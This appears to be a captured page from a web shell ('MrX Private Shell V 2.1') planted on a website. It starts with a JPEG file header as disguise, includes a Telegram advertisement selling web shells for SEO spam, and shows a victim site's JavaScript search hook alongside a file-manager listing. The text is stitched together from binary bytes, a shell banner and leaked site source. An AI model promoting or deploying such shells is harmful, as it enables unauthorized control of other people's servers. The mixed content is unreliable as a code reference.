����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import { KB_HOST } from '@constants';
import useSWRImmutable from 'swr/immutable';
export const fetcher = async (search) => {
if (search.length < 3) return null;
const urlParams = new URLSearchParams({
lang: window.extSharedData.wpLanguage || null,
search,
});
return await fetch(`${KB_HOST}/api/posts?${urlParams.toString()}`, {
method: 'POST',
}).then((res) => {
if (!res.ok) throw new Error(res.statusText);
return res.json();
});
};
export const useSearchArticles = (search) => {
const { data, error } = useSWRImmutable(search || null, fetcher);
return { data, error, loading: !data && !error };
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| useRouter.js | File | 3.39 KB | 0644 |
|
| useSearchArticles.js | File | 623 B | 0644 |
|
| useSupportArticles.js | File | 604 B | 0644 |
|